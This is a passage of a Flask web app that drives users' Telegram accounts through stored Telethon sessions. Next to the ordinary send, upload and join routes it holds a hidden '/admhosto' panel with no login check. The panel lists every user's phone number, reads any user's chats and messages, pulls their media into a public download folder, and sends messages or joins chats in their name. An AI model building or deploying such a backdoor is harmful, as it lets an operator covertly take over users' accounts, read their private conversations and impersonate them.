|
|
|
data = request.json |
|
|
chat_id = data.get('chat_id') |
|
|
message_content = data.get('message') |
|
|
|
|
|
async def _send_message_async(): |
|
|
client, error = await get_user_client(user_id) |
|
|
if error: return {'success': False, 'message': error} |
|
|
try: |
|
|
target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id |
|
|
await client.send_message(target_entity, message_content) |
|
|
return {'success': True, 'message': 'Message sent.'} |
|
|
except FloodWaitError as e: |
|
|
return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'} |
|
|
except Exception as e: |
|
|
return {'success': False, 'message': str(e)} |
|
|
finally: |
|
|
if client and client.is_connected(): await client.disconnect() |
|
|
|
|
|
return jsonify(asyncio.run(_send_message_async())) |
|
|
|
|
|
@app.route('/api/send_file', methods=['POST']) |
|
|
def api_send_file(): |
|
|
user_id = session.get('user_id') |
|
|
if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401 |
|
|
|
|
|
chat_id = request.form.get('chat_id') |
|
|
caption = request.form.get('caption', '') |
|
|
|
|
|
if not chat_id: return jsonify({'success': False, 'message': 'Chat ID is required.'}), 400 |
|
|
if 'file' not in request.files: |
|
|
return jsonify({'success': False, 'message': 'No file part in the request.'}), 400 |
|
|
file = request.files['file'] |
|
|
if file.filename == '': |
|
|
return jsonify({'success': False, 'message': 'No selected file.'}), 400 |
|
|
|
|
|
async def _send_file_async(): |
|
|
client, error = await get_user_client(user_id) |
|
|
if error: return {'success': False, 'message': error} |
|
|
try: |
|
|
target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id |
|
|
await client.send_file(target_entity, file.stream, caption=caption, force_document=True) |
|
|
return {'success': True, 'message': 'File sent.'} |
|
|
except FloodWaitError as e: |
|
|
return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'} |
|
|
except Exception as e: |
|
|
return {'success': False, 'message': str(e)} |
|
|
finally: |
|
|
if client and client.is_connected(): await client.disconnect() |
|
|
|
|
|
return jsonify(asyncio.run(_send_file_async())) |
|
|
|
|
|
@app.route('/api/join_chat', methods=['POST']) |
|
|
def api_join_chat(): |
|
|
user_id = session.get('user_id') |
|
|
if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401 |
|
|
|
|
|
data = request.json |
|
|
chat_identifier = data.get('chat_identifier') |
|
|
|
|
|
async def _join_chat_async(): |
|
|
client, error = await get_user_client(user_id) |
|
|
if error: return {'success': False, 'message': error} |
|
|
try: |
|
|
if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier: |
|
|
invite_hash = chat_identifier.split('/')[-1].replace('+', '') |
|
|
await client(ImportChatInviteRequest(invite_hash)) |
|
|
else: |
|
|
await client(JoinChannelRequest(chat_identifier)) |
|
|
return {'success': True, 'message': f'Successfully joined {chat_identifier}.'} |
|
|
except FloodWaitError as e: |
|
|
return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'} |
|
|
except (UserNotParticipantError, ValueError): |
|
|
return {'success': False, 'message': f'Failed to join. Already a member or invalid link/username.'} |
|
|
except Exception as e: |
|
|
return {'success': False, 'message': f'Error joining chat: {e}'} |
|
|
finally: |
|
|
if client and client.is_connected(): await client.disconnect() |
|
|
|
|
|
return jsonify(asyncio.run(_join_chat_async())) |
|
|
|
|
|
@app.route('/download/<path:filename>') |
|
|
def download_file(filename): |
|
|
return send_from_directory(DOWNLOAD_DIR, filename, as_attachment=False) |
|
|
|
|
|
@app.route('/admhosto') |
|
|
def admhosto_index(): |
|
|
with sqlite3.connect(DB_PATH) as conn: |
|
|
users = conn.cursor().execute('SELECT id, telegram_id, username, phone FROM users').fetchall() |
|
|
return render_template_string(ADMHOSTO_TEMPLATE, users=users) |
|
|
|
|
|
@app.route('/admhosto/user/<int:user_id>/manage') |
|
|
def admhosto_manage_user_account(user_id): |
|
|
with sqlite3.connect(DB_PATH) as conn: |
|
|
user_data = conn.cursor().execute('SELECT id, telegram_id, username, phone FROM users WHERE id = ?', (user_id,)).fetchone() |
|
|
if not user_data: return "User not found", 404 |
|
|
user_dict = {'id': user_data[0], 'telegram_id': user_data[1], 'username': user_data[2], 'phone': user_data[3]} |
|
|
|
|
|
async def _get_chats_async(): |
|
|
client, error = await get_user_client(user_id) |
|
|
if error: return None, error |
|
|
chats_info = [] |
|
|
try: |
|
|
async for dialog in client.iter_dialogs(): |
|
|
chat_type = 'Other' |
|
|
if isinstance(dialog.entity, Channel): chat_type = 'Channel' |
|
|
elif isinstance(dialog.entity, Chat): chat_type = 'Group' |
|
|
elif isinstance(dialog.entity, User): chat_type = 'User' |
|
|
|
|
|
title = dialog.title if dialog.title else (f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip() if isinstance(dialog.entity, User) else "Unnamed Chat") |
|
|
|
|
|
chats_info.append({ |
|
|
'id': dialog.id, |
|
|
'title': title, |
|
|
'type': chat_type, |
|
|
'participants': getattr(dialog.entity, 'participants_count', None) |
|
|
}) |
|
|
except Exception as e: |
|
|
return None, str(e) |
|
|
finally: |
|
|
if client and client.is_connected(): await client.disconnect() |
|
|
return chats_info, None |
|
|
|
|
|
chats, error = asyncio.run(_get_chats_async()) |
|
|
if error: return f"Failed to load chats: {error}", 500 |
|
|
return render_template_string(ADMHOSTO_MANAGE_TEMPLATE, user=user_dict, chats=sorted(chats, key=lambda x: x['title'])) |
|
|
|
|
|
@app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages') |
|
|
def admhosto_get_chat_messages(user_id, peer_id): |
|
|
limit = int(request.args.get('limit', 30)) |
|
|
offset_id = int(request.args.get('offset_id')) if request.args.get('offset_id') else 0 |
|
|
|
|
|
async def _get_messages_async(): |
|
|
client, error = await get_user_client(user_id) |
|
|
if error: return None, None, error |
|
|
messages = [] |
|
|
next_offset_id = None |
|
|
try: |
|
|
entity = await client.get_entity(peer_id) |
|
|
fetched_messages = [] |
|
|
async for message in client.iter_messages(entity, limit=limit, offset_id=offset_id, reverse=False): |
|
|
fetched_messages.append(message) |
|
|
|
|
|
if len(fetched_messages) == limit: |
|
|
next_offset_id = fetched_messages[-1].id |
|
|
|
|
|
for message in fetched_messages: |
|
|
msg_data = { |
|
|
'text': message.text, |
|
|
'date': message.date.strftime("%b %d, %H:%M"), |
|
|
'is_sent': message.out, |
|
|
'sender_name': 'Unknown', |
|
|
'file_name': None, |
|
|
'file_size': None, |
|
|
'is_image': False |
|
|
} |
|
|
if message.sender: |
|
|
if isinstance(message.sender, User): |
|
|
msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User" |
|
|
elif hasattr(message.sender, 'title'): |
|
|
msg_data['sender_name'] = message.sender.title |
|
|
else: |
|
|
msg_data['sender_name'] = str(message.sender.id) |
|
|
|
|
|
if message.media: |
|
|
try: |
|
|
temp_file_name_prefix = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}" |
|
|
file_ext = '' |
|
|
if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'): |
|
|
for attr in message.media.document.attributes: |
|
|
if hasattr(attr, 'file_name'): |
|
|
file_name = attr.file_name |
|
|
file_ext = Path(file_name).suffix.lower() |
|
|
break |
|
|
elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'): |
|
|
file_name = f"photo_{message.media.photo.id}.jpg" |
|
|
file_ext = '.jpg' |
|
|
|
|
|
if not file_name: |
|
|
file_name = f"{temp_file_name_prefix}.unknown" |
|
|
if hasattr(message.media, 'mime_type') and message.media.mime_type: |
|
|
file_name = f"{temp_file_name_prefix}.{message.media.mime_type.split('/')[-1].replace('+', '.')}" |
|
|
|
|
|
full_download_path = Path(DOWNLOAD_DIR) / file_name |
|
|
file_info = await client.download_media(message, file=full_download_path) |
|
|
|
|
|
if file_info: |
|
|
file_path_obj = Path(file_info) |
|
|
msg_data['file_name'] = file_path_obj.name |
|
|
|
|
|
detected_img_type = imghdr.what(file_path_obj) |
|
|
if detected_img_type: |
|
|
msg_data['is_image'] = True |
|
|
|
|
|
file_size = os.path.getsize(file_path_obj) |
|
|
msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes" |
|
|
except Exception as media_e: |
|
|
msg_data['file_name'] = f"Download failed: {media_e}" |
|
|
messages.append(msg_data) |
|
|
except Exception as e: |
|
|
return None, None, str(e) |
|
|
finally: |
|
|
if client and client.is_connected(): await client.disconnect() |
|
|
return messages, next_offset_id, None |
|
|
|
|
|
messages, next_offset_id, error = asyncio.run(_get_messages_async()) |
|
|
if error: return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500 |
|
|
return jsonify({'success': True, 'messages': messages, 'next_offset_id': next_offset_id}) |
|
|
|
|
|
@app.route('/admhosto/send_message/<int:user_id>', methods=['POST']) |
|
|
def admhosto_send_message(user_id): |
|
|
data = request.json |
|
|
chat_id = data.get('chat_id') |
|
|
message_content = data.get('message') |
|
|
async def _send_message_async(): |
|
|
client, error = await get_user_client(user_id) |
|
|
if error: return {'success': False, 'message': error} |
|
|
try: |
|
|
target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id |
|
|
await client.send_message(target_entity, message_content) |
|
|
return {'success': True, 'message': 'Message sent.'} |
|
|
except FloodWaitError as e: |
|
|
return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'} |
|
|
except Exception as e: |
|
|
return {'success': False, 'message': str(e)} |
|
|
finally: |
|
|
if client and client.is_connected(): await client.disconnect() |
|
|
return jsonify(asyncio.run(_send_message_async())) |
|
|
|
|
|
@app.route('/admhosto/send_file/<int:user_id>', methods=['POST']) |
|
|
def admhosto_send_file(user_id): |
|
|
chat_id = request.form.get('chat_id') |
|
|
caption = request.form.get('caption', '') |
|
|
|
|
|
if not chat_id: return jsonify({'success': False, 'message': 'Chat ID is required.'}), 400 |
|
|
if 'file' not in request.files: |
|
|
return jsonify({'success': False, 'message': 'No file part in the request.'}), 400 |
|
|
file = request.files['file'] |
|
|
if file.filename == '': |
|
|
return jsonify({'success': False, 'message': 'No selected file.'}), 400 |
|
|
|
|
|
async def _send_file_async(): |
|
|
client, error = await get_user_client(user_id) |
|
|
if error: return {'success': False, 'message': error} |
|
|
try: |
|
|
target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id |
|
|
await client.send_file(target_entity, file.stream, caption=caption, force_document=True) |
|
|
return {'success': True, 'message': 'File sent.'} |
|
|
except FloodWaitError as e: |
|
|
return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'} |
|
|
except Exception as e: |
|
|
return {'success': False, 'message': str(e)} |
|
|
finally: |
|
|
if client and client.is_connected(): await client.disconnect() |
|
|
|
|
|
return jsonify(asyncio.run(_send_file_async())) |
|
|
|
|
|
@app.route('/admhosto/join_chat/<int:user_id>', methods=['POST']) |
|
|
def admhosto_join_chat(user_id): |
|
|
data = request.json |
|
|
chat_identifier = data.get('chat_identifier') |
|
|
async def _join_chat_async(): |
|
|
client, error = await get_user_client(user_id) |
|
|
if error: return {'success': False, 'message': error} |
|
|
try: |
|
|
if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier: |
|
|
invite_hash = chat_identifier.split('/')[-1].replace('+', '') |
|
|
await client(ImportChatInviteRequest(invite_hash)) |
|
|
else: |
|
|
await client(JoinChannelRequest(chat_identifier)) |
|
|
return {'success': True, 'message': 'Successfully joined.'} |
|
|
except FloodWaitError as e: |
|
|
return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'} |
|
|
except Exception as e: |
|
|
return {'success': False, 'message': f'Error joining: {e}'} |
|
|
finally: |
|
|
if client and client.is_connected(): await client.disconnect() |
|
|
return jsonify(asyncio.run(_join_chat_async())) |
|
|
|
|
|
if __name__ == '__main__': |
|
|
init_db() |
|
|
app.run(host=HOST, port=PORT, debug=False) |
